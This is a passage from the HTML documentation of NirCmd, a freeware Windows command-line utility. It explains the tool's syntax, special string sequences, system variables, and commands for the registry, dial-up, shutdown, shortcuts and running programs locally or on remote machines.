beep, stdbeep, cdrom, urlshortcut, monitor, screensaver, standby, and hibernate.\n</li><li>Fixed the bug with ~x string sequences.\n</li></ul>\n\n</td></tr><tr><td>08/01/2004</td><td>1.20</td><td>\n<ul>\n<li>New commands: setdialuplogon, script\n</li><li>Special string sequences (~q, ~t, ~n and so on) to allow you to embed quotes and new line characters into the parameters of any command.\n</li></ul>\n</td></tr><tr><td>19/11/2003</td><td>1.11</td><td>\nNew options in shortcut command\n\n</td></tr><tr><td>10/10/2003</td><td>1.10</td><td>\n\nNew commands: killprocess, service, memdump, win, lockws.\n</td></tr><tr><td>09/09/2003</td><td>1.00</td><td>\nFirst release.\n</td></tr></tbody></table>\n\n<p>\n</p><h4 class="utilsubject">License</h4>\nThis utility is released as freeware. \nYou are allowed to freely distribute this utility via floppy disk, CD-ROM, \nInternet, or in any other way, as long as you don't charge anything for this. \nIf you distribute this utility, you must include all files in\nthe distribution package, without any modification !\n\n\n<p>\n<a name="using"></a></p><h4 class="utilsubject">Using NirCmd utility</h4>\nThis utility is a standalone executable, and it doesn't require any installation process\nor additional DLLs. just copy the executable to any folder you want, and run it\nwith the desired command-line option, according to your needs.\n<br>\nIt's recommended to copy the executable of NirCmd (nircmd.exe) to your windows directory,\nor to any other folder listed in your PATH environment variable, so you won't need to type the full path of nircmd in each time that you want to use it.\n\n<br>\nStarting from version 1.50, console version of NirCmd (nircmdc.exe) is also available.\nIn the console version, all error messages goes to the console window, instead of using a message box.\n<p>\n</p><h4 class="utilsubject">General Syntax Of NirCmd</h4>\n<span class="commandline">nircmd.exe {showerror} [command] [command parameters]</span>\n<br>\nThe <span class="commandline">showerror</span> parameter is optional.\nIf you specify this parameter, an error message will be displayed on the screen\nif an error is occurred during the execution of the command. Otherwise, any error will be ignored.\nFor example:\n<br>\nnircmd.exe showerror rasdial "dial1"\n<br>\nnircmd.exe rasdial "dial1"\n<br>\n\nIn above 2 examples, NirCmd will try to dial with the "dial1" entry.\nIf the dialing process is failed on the first example, an error message describing the problem\nwill be displayed. If the dialing process is failed on the second example, error message\nwon't be displayed.\n\n<p>\n<a name="spstrseq"></a></p><h4 class="utilsubject">Special String Sequences</h4>\nStarting from version 1.20, NirCmd allows you to insert special characters into any parameter in NirCmd commands.\n<br>\nThe following table describes the special string Sequences that you can use:\n<table border="1" bordercolor="#000000" cellpadding="6" width="100%">\n<tbody><tr class="utiltableheader"><th nowrap="nowrap" width="80"> \nSequence\n</th><th>\nDescription\n\n\n</th></tr><tr>\n<td>\n~n\n</td><td>\nNew line characters (CR-LF)\n\n\n</td></tr><tr>\n<td>\n~q\n</td><td>\nDouble-quote character: "\n\n</td></tr><tr>\n<td>\n~t\n</td><td>\nTab character\n\n\n</td></tr><tr>\n<td>\n~xnn\n</td><td>\nAllows you to represent any character by providing its ascii code in 2-digit Hexadecimal number.\n<br>\nFor Example: ~x41 ('A' character), ~x27 (single-quote character)\n\n\n</td></tr><tr>\n<td>\n~$variable$\n</td><td>\nRepresents a system variable. \nFor more information about this option, <a href="#sysvar">read below</a>\n\n</td></tr><tr>\n<td>\n~~\n</td><td>\nRepresents a single '~' character.\n</td></tr></tbody></table>\n<p>\nExample:\n<br>\n\n<span class="commandline">\ninfobox "This is the first line~n~qThis is a second line, in quotes~q" "Example"\n</span>\n<br>\nThe above example displays a message-box containing 2 lines.\n\n</p><p>\n<a name="sysvar"></a></p><h4 class="utilsubject">System Variables</h4>\nStarting from version 1.40, NirCmd provides special variables that represents folders and\nother variables on your system. Each variable starts with '~' character, followed by\nthe variable name enclosed with '$' characters. For example: ~$folder.desktop$ represents\nyour desktop folder.\n<p>\nThe following table specifies the variables that you can use:\n\n<table border="1" bordercolor="#000000" cellpadding="6" width="100%">\n<tbody><tr class="utiltableheader">\n<th nowrap="nowrap">Variable Name \n</th><th nowrap="nowrap">Description \n\n</th></tr><tr>\n<td>\n\nclipboard\n</td><td>\nRepresents the text that you copied into the clipboard.\n\n</td></tr><tr>\n<td>\nparam.paramname\n</td><td>\nWhen you specify a param variable, an input window will appear on the screen,\nand will ask you to type the text for this variable.\nThe text that you type will be inserted into the command line.\n<br>\nFor example: in the following command, you will be asked to type 2 parameters (1 and 2),\nand the text that you type will appear in the message box.\n<br>\nnircmd infobox ~$param.1$ ~$param.2$\n<p>\n\n\n</p></td></tr><tr>\n<td>\n\nfparam.number\n</td><td>\nSepcifies a parameter loaded from a text file.\nFor more information, see <a href="#paramsfile">paramsfile command</a>\n</td></tr><tr>\n<td>\nsys.varname\n</td><td>\nYou can use this option to represent any environment variable on your system.\n<br>\nFor example:<br> ~$sys.username$, ~$sys.windir$, ~$sys.computername$, ~$sys.logonserver$, ~$sys.temp$, and so on...\n\n\n</td></tr><tr>\n<td>\nnir.exefile\n\n</td><td>\nRepresents the full-path exe file of the current running NirCmd (For example: c:\swinnt\snircmd.exe)\n\n</td></tr><tr>\n<td>\nfolder.nircmd\n</td><td>\nRepresents the folder the NirCmd is running from. \n\n\n</td></tr><tr>\n<td>\nfolder.desktop\n</td><td>\nRepresents the user's desktop folder. \n\n</td></tr><tr>\n<td>\nfolder.start_menu\n</td><td>\nRepresents the user's start-menu folder. \n\n\n</td></tr><tr>\n<td>\nfolder.programs\n</td><td>\nRepresents the user's programs folder (under the start-menu folder). \n\n</td></tr><tr>\n<td>\nfolder.startup\n</td><td>\nRepresents the user's startup folder. \n\n</td></tr><tr>\n<td>\nfolder.recent\n</td><td>\nRepresents the user's recent folder. \n\n</td></tr><tr>\n<td>\n\nfolder.favorites\n</td><td>\nRepresents the user's favorites folder. \n\n</td></tr><tr>\n<td>\nfolder.cookies\n</td><td>\nRepresents the user's cookies folder. \n\n</td></tr><tr>\n<td>\nfolder.appdata\n</td><td>\nRepresents the user's Application Data folder. (For example: C:\sDocuments and Settings\sAdministrator\sApplication Data)\n\n</td></tr><tr>\n<td>\nfolder.common_desktop\n</td><td>\n\nRepresents the common desktop folder. \n\n</td></tr><tr>\n<td>\nfolder.common_start_menu\n</td><td>\nRepresents the common start menu folder. \n\n</td></tr><tr>\n<td>\nfolder.common_programs\n</td><td>\nRepresents the common programs folder. \n\n</td></tr><tr>\n<td>\nfolder.common_startup\n</td><td>\nRepresents the common startup folder. \n\n</td></tr><tr>\n\n<td>\nfolder.common_favorites\n</td><td>\nRepresents the common favorites folder. \n\n</td></tr><tr>\n<td>\nfolder.windows\n</td><td>\nRepresents the windows folder. (e.g.: C:\sWindows)\n\n</td></tr><tr>\n<td>\nfolder.system\n</td><td>\nRepresents the system folder. (e.g.: C:\sWindows\sSystem32)\n\n</td></tr></tbody></table>\n</p><p>\nExamples:\n\n</p><ul>\n<li>Create a shortcut under the start menu-programs folder:\n<br>\n<span class="commandline">\nshortcut "c:\swinnt\ssystem32\scalc.exe" "~$folder.programs$\sMy Programs" "Calculator"\n</span>\n\n</li><li>Delete a shortcut in the user's desktop:\n<br>\n<span class="commandline">\nexecmd del "~$folder.desktop$\scalc.lnk"\n</span>\n\n</li><li>Display the current logged-on user:\n<br>\n<span class="commandline">\ninfobox "The current logged-on user is ~$sys.username$" "logged-on user"\n\n</span>\n</li></ul>\n\n<p>\n</p><h4 class="utilsubject">Executing NirCmd commands on remote computers</h4>\nStarting from version 1.40, you can execute all NirCmd commands in remote computers.\nHowever, you should be aware of the following restrictions and problems:\n<ul>\n<li>This option is only available for Windows NT, Windows 2000 and Windows XP.\nYou cannot use it on Windows 9x machines.\n</li><li>You must log on to the remote machine as administrator.\n</li><li>The Schedule service in the remote machine must be started. \n(By default, the Schedule service is automatically started in all NT/2000/XP machines, so\nyou don't have to worry too much about this)\n</li><li>Due to some limitations of the Schedule service, you have to wait up to 60 seconds\nuntil the command is actually executed in the remote machine. \n</li><li>The command in the remote machine is executed under 'SYSTEM' account, and thus some\ncommands may not work in the same way as you execute them locally. \n</li></ul>\n<p>\nThere are 2 commands for executing NirCmd in remote machines:\n</p><ul>\n\n<li><a href="#command_remote">remote</a> - for executing command on a single remote computer.\n</li><li><a href="#command_multiremote">multiremote</a> - for executing command on multiple remote computers.\n</li></ul>\n\n<p>\n<a name="commands"></a></p><h4 class="utilsubject">NirCmd Commands</h4>\n<a name="cmdwait"></a>\n<a name="paramsfile"></a>\n<table border="1" bordercolor="#000000" cellpadding="6" width="100%">\n<tbody><tr class="utiltableheader"><th width="80"> <nobr>Command</nobr> </th><th>Syntax And Description\n\n\n<a name="command_remote"></a>\n</th></tr><tr>\n<td class="tablecol1">remote\n</td><td>\n<h6 class="commandsyntax">\nremote {copy} [\s\scomputer] [NirCmd command]\n</h6>\nExecutes NirCmd command in a remote computer.\nif <span class="commandsyntax">{copy}</span> parameter is specified, NirCmd will copy\nitself to the Windows directory of the remote machine. You must specify this parameter if \nNirCmd doesn't exist in the Windows directory of the remote machine. \n<br>\nExamples:\n<br>\n<span class="commandline">\n<br>remote copy \s\scomp1 exitwin poweroff\n<br>remote \s\scomp2 infobox "This is a message from NirCmd" "Hello !"\n\n<br>remote \s\scomp3 lockws\n</span>\n\n<a name="command_multiremote"></a>\n</td></tr><tr>\n<td class="tablecol1">multiremote\n</td><td>\n<h6 class="commandsyntax">\nmultiremote {copy} [computers file] [NirCmd command]\n</h6>\nExecutes NirCmd command in multiple remote machines.\nif <span class="commandsyntax">{copy}</span> parameter is specified, NirCmd will copy\nitself to the Windows directory of the remote machines. You must specify this parameter if \nNirCmd doesn't exist in the Windows directory of the remote machines. \n<br>\nThe <span class="commandsyntax">[computers file]</span> parameter is a file that contains\nthe computers list separated by Enter characters (CRLF).\n\n<br>Example for computers list file:\n<pre>\s\scomp1\n\s\scomp2\n\s\swinxp1\n\s\swinxp2\n\s\snirsoft\n</pre>\n<br>\nThe command specified in <span class="commandsyntax">[NirCmd command]</span>\nwill be executed in all computers specified in the computers file.\n<br>Examples:\n<ul>\n<li>Turn off all computers specified in computers.txt\n<br>\n<span class="commandline">\nmultiremote "c:\stemp\scomputers.txt" exitwin poweroff force\n</span>\n\n</li><li>Lock all computers specified in computers.txt\n\n<br>\n<span class="commandline">\nmultiremote "c:\stemp\scomputers.txt" lockws\n</span>\n\n</li><li>Copy NirCmd to all computers specified in computers.txt, and then turn off their monitors.\n<br>\n<span class="commandline">\nmultiremote copy "c:\stemp\scomputers.txt" monitor off\n</span>\n</li><li>Copy NirCmd to all computers specified in computers.txt, and run WinUpdatesList utility in order to save Windsows Updates info in all computers.\n<br>\n<span class="commandline">\nmultiremote copy "c:\stemp\scomputers.txt" exec hide c:\stemp\swul.exe /shtml &quotc:\stemp\swul_~$sys.computername$.html"\n</span>\n</li></ul>\n\n</td></tr><tr>\n<td class="tablecol1">cmdwait\n</td><td>\n<h6 class="commandsyntax">\ncmdwait [Number of Milliseconds] [NirCmd Command]\n</h6>\nWait the specified number of Milliseconds, and then execute the specified NirCmd command.\n\n<p>\nExample:\n<br>\n<span class="commandline">\ncmdwait 1000 monitor off\n</span>\n\n</p></td></tr><tr>\n<td class="tablecol1">paramsfile\n\n</td><td>\n<h6 class="commandsyntax">\nparamsfile [Parameters File] [Delimiters] [Quote Character] [NirCmd Command]\n</h6>\nThis powerfull command allows you to execute NirCmd Command multiple times, by loading\none or more parameters from a text file. The text file can be comma-delimited, tab-delimited,\nsemicolon-delimited, or delimited by any char that you specify in [Delimiters] parameter.\n<p>\nHere's an example... Let's say that you have the following text file, containing \nuser names and passwords, delimited by comma:\n</p><pre class="srcbg">user01, 123456\nuser02, abcfg\nuser03, 5fr23\nuser04, 33333\n</pre>\n<p>\nThe following NirCmd commands sequence will create 4 users with the specified user-names and passwords (by using 'net user' command provided by Windows 2000/XP operating system)\n<br>\nnircmd.exe paramsfile "c:\stemp\susers.txt" "," "" execmd net user ~$fparam.1$ ~$fparam.2$ /add\n</p><p>\nThe ~$fparam.1$ specifies the first entry in each line - the user name.\nThe ~$fparam.2$ specifies the second entry in each line - the password.\n\n</p><p>\nExamples:\n\n<br>\n<span class="commandline">\n<br>paramsfile "c:\stemp\sfolders.txt" "" "" execmd md ~$fparam.1$\n<br>paramsfile "c:\stemp\sshortcuts.txt" "," "~q" shortcut ~$fparam.1$ "~$folder.desktop$" ~$fparam.2$\n</span>\n\n\n</p></td></tr><tr>\n<td class="tablecol1">infobox\n</td><td>\n<h6 class="commandsyntax">\ninfobox [message text] [title]\n</h6>\nDisplays a simple message box on the screen.\n<br>\nExample:\n<br>\n\n<span class="commandline">\ninfobox "This is a message box !" "message"\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">qbox\n</td><td>\n<h6 class="commandsyntax">\nqbox [message text] [title] [program to run]\n</h6>\nDisplays a question dialog-box on the screen. If the user answers "Yes", run a program\n<br>\nExample:\n<br>\n<span class="commandline">\n\nqbox "Do you want to run the calculator ?" "question" "calc.exe"\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">qboxcom\n</td><td>\n<h6 class="commandsyntax">\nqboxcom [message text] [title] [NirCmd Command]\n</h6>\nDisplays a question dialog-box on the screen. If the user answers "Yes", execute the\nNirCmd command in the third parameter.\n<br>\nExamples:\n<br>\n<span class="commandline">\nqboxcom "Do you want to lock your workstation ?" "question" lockws\n<br>\nqboxcom "Do you want to turn off the monitor ?" "monitor" monitor off\n\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">script\n</td><td>\n<h6 class="commandsyntax">\nscript [Script File]\n</h6>\nThis command allows you to execute a sequence of commands stored inside the file specified\nin <span class="commandsyntax">[Script File]</span> parameter.\n<br>\nExample:<br>\n<span class="commandline">\n\nscript "c:\stemp\smsg.ncl"\n</span>\n<br>\nExample for a script:\n<pre class="commandline">infobox "Hello !" "This is the first message"\ninfobox "Hello !" "This is the second message"\ninfobox "Hello !" "This is the third message"\n</pre>\n\n\n</td></tr><tr>\n<td class="tablecol1">regedit\n</td><td>\n<h6 class="commandsyntax">\nregedit [key] [value name]\n</h6>\nOpens RegEdit with the specified key/value.\n<br>\nExamples:\n\n<span class="commandline">\n<br>regedit "HKLM\sSoftware\sMicrosoft\sWindows\sCurrentVersion" "CommonFilesDir" \n<br>regedit "HKEY_CURRENT_USER\sControl Panel\sDesktop" "Wallpaper"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">regsetval\n</td><td>\n<h6 class="commandsyntax">\nregsetval [type] [key] [value name] [value]\n</h6>\nWrites a value to the Registry. the <span class="commandsyntax">[type]</span> parameter can\nbe "sz" or "expand_sz" for strings, "dword" for 32-bit number, or "binary" for\nbinary data. If the key you specify in <span class="commandsyntax">[key]</span> parameter\ndoesn't exist, it'll automatically be created.\n\n<br>\nExamples:\n<span class="commandline">\n<br>regsetval dword "HKEY_CURRENT_USER\sSoftware\sTest" "Value1" "0xaabbccdd"\n<br>regsetval dword "HKCU\sSoftware\sTest" "Value2" "10561"\n<br>regsetval sz "HKCU\sSoftware\sTest" "Value3" "string value"\n<br>regsetval binary "HKLM\sSoftware\sTest" "Value4" "6a cb ab dd 80 86 95"\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">regdelval\n</td><td>\n<h6 class="commandsyntax">\nregdelval [key] [value]\n</h6>\n\nDeletes a value from the Registry. \n<br>\nExample:\n<br>\n<span class="commandline">\nregdelval "HKEY_CURRENT_USER\sSoftware\sTest" "Value1"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">regdelkey\n</td><td>\n<h6 class="commandsyntax">\nregdelkey [key]\n</h6>\nDeletes entire key from the Registry. \nThis command will failed if the specified key has one or more subkeys.\n<br>\n\nExample:\n<br>\n<span class="commandline">\nregdelkey "HKEY_CURRENT_USER\sSoftware\sTest"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">inisetval\n</td><td>\n<h6 class="commandsyntax">\ninisetval [INI filename] [section] [key] [value]\n</h6>\nWrites a value into INI file. If the file doesn't exist, it'll automatically be created.\n<br>\nExample:\n<br>\n\n<span class="commandline">\ninisetval "c:\swindows\stest.ini" "section1" "TestValue" "1"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">inidelval\n</td><td>\n<h6 class="commandsyntax">\ninidelval [INI filename] [section] [key]\n</h6>\nDeletes a key-value pair inside INI file. \n<br>\nExample:\n<br>\n<span class="commandline">\ninidelval "c:\swindows\stest.ini" "section1" "TestValue"\n\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">inidelsec\n</td><td>\n<h6 class="commandsyntax">\ninidelval [INI filename] [section]\n</h6>\nDeletes entire section in INI file, including all values in it. \n<br>\nExample:\n<br>\n<span class="commandline">\ninidelsec "c:\swindows\stest.ini" "section1" \n</span>\n\n</td></tr><tr>\n<td class="tablecol1">regsvr\n</td><td>\n<h6 class="commandsyntax">\nregsvr [reg or unreg] [filename or wildcard] {log file}\n</h6>\nRegister or unregister DLL/OCX files.\n<br>In the first parameter, specify "reg" for registering files, or "unreg" for unregistering files.\n<br>In the second parameter, you can specify a single file that you want to register or unregister, or multiple files, by using wildcard.\n<br>The third parameter is optional, and specifies a log filename for saving the results of the registering operation.\n<br>\nExamples:\n<span class="commandline">\n<br>regsvr reg "f:\swinnt\ssystem32\sfv*.ocx" "c:\stemp\slog1.txt" \n<br>regsvr unreg "f:\swinnt\ssystem32\sab*.dll" \n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">rasdial\n</td><td>\n<h6 class="commandsyntax">\nrasdial [Entry Name] {Phonebook File} {User Name} {Password} {Domain}\n</h6>\nDials to RAS entry (VPN or phone line), without displaying any user interface.\nExcept the [Entry Name] parameter, all other parameters are optional.\nIf you don't specify the optional parameters or you specify empty string (""),\nthe default values are used.\n<br>\nExamples:\n<span class="commandline"><br>\nrasdial "My Internet"<br>\nrasdial "VPN1" "" "user1" "abc1234" "domain1"\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">inetdial\n</td><td>\n<h6 class="commandsyntax">\ninetdial [Entry Name] \n</h6>\nDials to RAS entry (VPN or phone line), and display informational dialog-box during the dialing process.\n<br>\nThis command is only supported If Internet Explorer version 4.0 or greater is installed.\nBe aware that this command might not work on old versions of Windows 98.\n\n \n<br>\nExamples:\n<span class="commandline"><br>\ninetdial "VPN1"\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">rasdialdlg\n</td><td>\n<h6 class="commandsyntax">\nrasdialdlg [Entry Name] {Phonebook File} {Phone Number or IP Address}\n</h6>\nDisplays a RAS entry for dialing. The <span class="commandsyntax">{Phonebook File}</span> and <span class="commandsyntax">{Phone Number}</span> parameters are\noptional. If you don't specify the <span class="commandsyntax">{Phonebook File}</span> parameter or you specify an empty string\n,the default phonebook is used.\n\n<br>\nThis command is only supported on Windows NT, Windows 2000, and Windows XP.\nIt's not supported on Windows 98/ME. \n<br>\nExamples:\n<span class="commandline"><br>\nrasdialdlg "Internet1" "" "9876543"<br>\nrasdialdlg "VPN1"\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">rashangup\n</td><td>\n<h6 class="commandsyntax">\nrashangup {Entry Name}\n\n</h6>\nHangs up a RAS connection. \nYou can use this command to disconnect a connection that you previously created\nwith inetdial or rasdial commands.\n\nIf you don't specify the {Entry Name} parameter, all active connections will be disconnected.\n\n<br>\nExamples:\n<span class="commandline">\n<br>rashangup "VPN1"\n<br>rashangup\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">setdialuplogon\n</td><td>\n<h6 class="commandsyntax">\nsetdialuplogon [Entry Name] [User Name] {Password} {Domain} {Phonebook File}\n</h6>\nModifies the user name, password and domain of a dial-up item.\n\n<br>\nThe parameters:\n<ul>\n<li><span class="commandsyntax">[Entry Name]</span>: The name of the dial-up entry\n</li><li><span class="commandsyntax">[User Name]</span>: The user-name to set into the specified dial-up entry. \n</li><li><span class="commandsyntax">{Password}</span>: The password to set into the specified dial-up entry.\n</li><li><span class="commandsyntax">{Domain}</span>: The domain name to set into the specified dial-up entry.\n</li><li><span class="commandsyntax">{Phonebook File}</span>: The phonebook file containing the entry you want to change.\nIf you don't specify this parameter, the default phonebook is used.\n</li></ul>\nExamples:\n<span class="commandline">\n<br>setdialuplogon "VPN1" "user1" "asder443" "domain1"\n\n<br>setdialuplogon "Internet1" "nirs3" "q5r4df7yh5"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">exitwin\n</td><td>\n<h6 class="commandsyntax">\nexitwin [shutdown type] {additional option}\n</h6>\nThis command terminates the current session of Windows.\nThe <span class="commandsyntax">[shutdown type]</span> parameter can be one of the following values:\n<ul>\n<li><span class="special2">logoff</span>: Shut down all running processes, log off the current user, and display\nthe log on dialog to allow another user to log into the system.\n\n</li><li><span class="special2">reboot</span>: Shut down the entire system, and then reboot.\n</li><li><span class="special2">poweroff</span>: Shut down the entire system, and then turn off the power. (Only for systems that support this feature !)\n</li><li><span class="special2">shutdown</span>: Simply shut down the entire system, without reboot and without turning the power off. \n</li></ul>\nYou can also use one of the following additional options:\n<ul>\n<li><span class="special2">force</span>: Forces all applications to terminate immediately. \nUsing this option can caused the current running application to lose data.\nUse it only in extreme cases !\n\n</li><li><span class="special2">forceifhung</span>: Forces applications to terminate if they are not responding.\nThis option is only available in Windows 2000/XP. \n</li></ul>\n \n<br>\nExamples:\n\n<span class="commandline"><br>\nexitwin reboot<br>\nexitwin poweroff force<br>\nexitwin logoff forceifhung\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">initshutdown\n</td><td>\n<h6 class="commandsyntax">\ninitshutdown {message} {timeout value in seconds} {force} {reboot}\n</h6>\nInitiate a system shutdown. This command is somewhat similar to exitwin command, but\nit has some other features that exitwin doesn't support. This command is not supported\non Windows 95/98/ME.\nAll parameters of this command are optional. If you don't specify any parameter,\nthe system shutdown is initiated without displaying message and without waiting. \n<br>\n\nThe parameters:\n<ul>\n<li><span class="commandsyntax">{message}</span>: The message to display before starting the system shut down.\n</li><li><span class="commandsyntax">{timeout value in seconds}</span>: The number of seconds to wait before starting the system shut down.\n</li><li><span class="commandsyntax">{force}</span>: Forces all applications to terminate, even without saving your work. \n</li><li><span class="commandsyntax">{reboot}</span>: Reboot after the system shutdown.\n</li></ul>\n<br>\nExamples:\n<span class="commandline"><br>\ninitshutdown "shutting down the system within 60 seconds" 60 reboot<br>\ninitshutdown "" 0 force\n\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">abortshutdown\n</td><td>\n<h6 class="commandsyntax">\nabortshutdown \n</h6>\nAbort the system shutdown that initiated with initshutdown command.\nThis command doesn't accept any additional parameters. \n<br>\nExample:\n<span class="commandline"><br>\nabortshutdown\n</span>\n\n</td></tr><tr>\n\n<td class="tablecol1">lockws\n</td><td>\n<h6 class="commandsyntax">\nlockws\n</h6>\nLock the workstation. After locking your workstation, you must type your password in order\nto continue your work. This command is only available on Windows 2000 and Windows XP.\n\n\n</td></tr><tr>\n<td class="tablecol1">monitor\n</td><td>\n<h6 class="commandsyntax">\nmonitor [action]\n</h6>\nChanges the state of the display monitor. The <span class="commandsyntax">[action]</span>\nparameter may contain the following values:\n<ul>\n\n<li><span class="special2">off</span>: Turn off the monitor\n</li><li><span class="special2">on</span>: Turn on the monitor\n</li><li><span class="special2">low</span>: Set the monitor to low power state.\n</li></ul>\n<br>\nThis command only works in systems that support this feature.\n<br>\nExamples:\n<span class="commandline"><br>\nmonitor off<br>\nmonitor on<br>\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">screensaver\n</td><td>\n<h6 class="commandsyntax">\nscreensaver\n</h6>\nStarts the default screen saver.\n\n</td></tr><tr>\n<td class="tablecol1">standby\n</td><td>\n<h6 class="commandsyntax">\nstandby {force}\n</h6>\nShuts down the computer and puts it in 'standby' mode.\nIf the <span class="commandsyntax">{force}</span> parameter is specified, the system is \nforced to go into standby mode without asking for permission from all applications.\nGenerally, it's not recommended to use this parameter.\n\n<br>\nThis command works only in systems that supports standby mode.\n<br>\nExample:\n<span class="commandline"><br>\n<br>standby force\n<br>standby\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">hibernate\n</td><td>\n<h6 class="commandsyntax">\nhibernate {force}\n</h6>\n\nShuts down the computer and puts it in 'hibernate' mode.\nIf the <span class="commandsyntax">{force}</span> parameter is specified, the system is \nforced to go into hibernate mode without asking for permission from all applications.\nGenerally, it's not recommended to use this parameter.\n<br>\nThis command works only in systems that supports hibernate mode.\n<br>\nExample:\n<span class="commandline"><br>\n<br>hibernate force\n<br>hibernate\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">shortcut\n</td><td>\n\n<h6 class="commandsyntax">\nshortcut [filename] [folder] [shortcut title] {arguments} {icon file} {icon resource number} {ShowCmd} {Start In Folder} {Hot Key}\n</h6>\nCreates a shortcut to a file. \n<br>\nThe parameters:\n<ul>\n<li><span class="commandsyntax">[filename]</span>: Create a shortcut to this filename.\n</li><li><span class="commandsyntax">[folder]</span>: Specify the destination folder that inside it the shortcut will be created.\nYou can specify any valid folder, including the special variables that represent system folders, like ~$folder.desktop$ (Desktop folder), ~$folder.programs$ (Start-Menu-Programs folder), and so on...\n\n\n</li><li><span class="commandsyntax">[shortcut title]</span>: The text displayed in the shortcut.\n</li><li><span class="commandsyntax">{arguments}</span>: Optional parameter - Additional arguments to execute the filename.\n</li><li><span class="commandsyntax">{icon file}</span>: Optional parameter - Use this parameter if your want that the shortcut will be displayed\nwith icon other than the default one.\n\n</li><li><span class="commandsyntax">{icon resource number}</span>: Optional parameter - The resource number inside the icon file.\n</li><li><span class="commandsyntax">{ShowCmd}</span>: Optional parameter - Use this parameter if you want to maximize or minimize the window of the program.\nSpecify "max" to maximize the window or "min" to minimize it.\n\n</li><li><span class="commandsyntax">{Start In Folder}</span>: Optional parameter - Specifies the "Start In" folder. \nIf you don't specify this parameter, the "Start In" folder is automatically filled with the folder of the program you specify in <span class="commandsyntax">[filename]</span> parameter.\n</li><li><span class="commandsyntax">{Hot Key}</span>: Optional parameter - Specifies an hot-key that will activate the shortcut.\nFor example: Alt+Ctrl+A, Alt+Shift+F8, Alt+Ctrl+Shift+Y\n\n</li></ul>\n\n<br>\nExamples:\n<span class="commandline"><br>\nshortcut "f:\swinnt\ssystem32\scalc.exe" "~$folder.desktop$" "Windows Calculator"\n\n<br>shortcut "f:\swinnt\ssystem32\scalc.exe" "~$folder.programs$\sCalculators" "Windows Calculator"\n<br>shortcut "f:\sProgram Files\sKaZaA\sKazaa.exe" "c:\stemp\sMyShortcuts" "Kazaa"\n<br>shortcut "f:\sProgram Files" "c:\stemp\sMyShortcuts" "Program Files Folder" "" "f:\swinnt\ssystem32\sshell32.dll" 45\n<br>shortcut "f:\sProgram Files" "c:\stemp\sMyShortcuts" "Program Files Folder" "" "" "" "max"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">cmdshortcut\n</td><td>\n<h6 class="commandsyntax">\ncmdshortcut [folder] [shortcut title] [command]\n</h6>\nCreates a shortcut to NirCmd command. When you activate the shortcut (by doubleclicking it),\nThe command that you specify in <span class="commandsyntax">[command]</span> parameter will be executed.\n\n<br>\nExamples:\n<span class="commandline">\n<br>cmdshortcut "~$folder.desktop$" "Open CDROM" cdrom open k:\n<br>cmdshortcut "c:\stemp" "Turn Monitor Off" monitor off\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">cmdshortcutkey\n</td><td>\n<h6 class="commandsyntax">\ncmdshortcutkey [folder] [shortcut title] [hot key] [command]\n</h6>\nSimilar to cmdshortcut command, but also allows you to specify an hot key to activate the command.\n<br>\nExamples:\n\n<span class="commandline">\n<br>cmdshortcutkey "~$folder.desktop$" "Open CDROM" "Ctrl+Shift+K" cdrom open k:\n<br>cmdshortcutkey "c:\stemp" "Turn Monitor Off" "Ctrl+Shift+M" monitor off\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">urlshortcut\n</td><td>\n<h6 class="commandsyntax">\nurlshortcut [URL] [Folder] [Shortcut Title]\n</h6>\nCreates a shortcut to URL address. (Like the shortcuts in Favorities of Internet Explorer)\nThe <span class="commandsyntax">[Folder]</span> parameter specifies the destination folder that inside it the shortcut will be created. \nIf you want to create the shortcut inside your default Favorities folder, use ~$folder.favorites$ variable.\n\n\n<br>\nExamples:\n<span class="commandline">\n<br>urlshortcut "http://www.nirsoft.net" "~$folder.favorites$" "NirSoft Web Site"\n<br>urlshortcut "http://www.google.com" "~$folder.favorites$\sSearch Engines" "Google"\n<br>urlshortcut "http://www.yahoo.com" "c:\stemp" "Yahoo"\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">exec\n</td><td>\n<h6 class="commandsyntax">\nexec [show/hide] [application + command-line]\n</h6>\nRuns an application, and optionally specify one or more command-line parameters for the \nexecuted application.\nThe <span class="commandsyntax">[show/hide]</span> parameter specifies whether the\nrunning application will be visible or not.\nIf 'hide' is specified, the running application won't be visible to the user.\n\n\n<br>\nExample:\n<span class="commandline">\n<br>exec show "f:\swinnt\ssystem32\scalc.exe"\n<br>exec hide "c:\stemp\swul.exe" /savelangfile\n</span>\n\n\n\n\n</td></tr><tr>\n<td class="tablecol1">exec2\n</td><td>\n<h6 class="commandsyntax">\nexec2 [show/hide] [working folder] [application + command-line]\n</h6>\nSimilar to exec command, but also provide another parameter, [working folder], that\nspecifies the default working folder for the application that you run.\n\n<br>\nExample:\n<span class="commandline">\n<br>exec2 show "f:\swinnt\ssystem32" "f:\swinnt\ssystem32\scalc.exe"\n<br>exec2 hide c:\stemp "c:\stemp\swul.exe" /savelangfile\n</span>\n\n\n\n\n\n</td></tr><tr>\n<td class="tablecol1">execmd\n</td><td>\n<h6 class="commandsyntax">\nexecmd [command]\n</h6>\n\nExecutes a command of Command-Prompt (Console Window) without displaying anything\non the screen.\n<br>\nExamples:\n<span class="commandline">\n<br>execmd del "~$folder.desktop$\scalc.lnk"\n<br>execmd mkdir f:\stemp\sdesktop1\n<br>execmd copy 